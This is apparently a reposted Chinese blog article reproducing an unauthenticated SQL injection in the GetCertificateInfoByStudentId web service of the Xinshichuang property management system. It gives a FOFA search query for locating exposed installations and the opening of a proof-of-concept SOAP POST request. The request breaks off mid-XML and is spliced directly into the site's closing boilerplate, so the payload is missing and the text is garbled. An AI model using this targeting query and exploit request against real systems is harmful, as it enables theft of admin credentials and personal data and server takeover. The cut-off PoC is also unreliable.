本文主要是介绍新视窗新一代物业管理系统 GetCertificateInfoByStudentId SQL注入漏洞复现，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！
0x01 产品简介
新视窗物业管理系统属于专家型的物业管理软件，能够给物业公司内部管理提供全面的解决方案，具有房产管理、客户管理、租赁管理、仪表管理、财务收费、发票管理、合同管理、仓储管理、设施设备管理、客户服务管理、会员管理、人事管理、资产管理、日常办公、档案管理、企业网站、PDA客户服务等功能模块，能满足物业管理公司人事、财务、客服、工程、行政、质量等不同部门人员的工作要求。
0x02 漏洞概述
新视窗新一代物业管理系统的XML Web services接口GetCertificateInfoByStudentId 实例处存在SQL注入漏洞，未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。
0x03 复现环境
FOFA：body="BPMSite/ClientSupport/OCXInstall.aspx"
0x04 漏洞复现
PoC
POST /OfficeManagement/RegisterManager/Report/Training/Report/GetprintData.asmx HTTP/1.1
Host: your-ip
Content-Type: text/xml; charset=utf-8
Content-Length: length
SOAPAction: "http://tempuri.org/GetCertificateInfoByStudentId"<?xml versi这篇关于新视窗新一代物业管理系统 GetCertificateInfoByStudentId SQL注入漏洞复现的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！
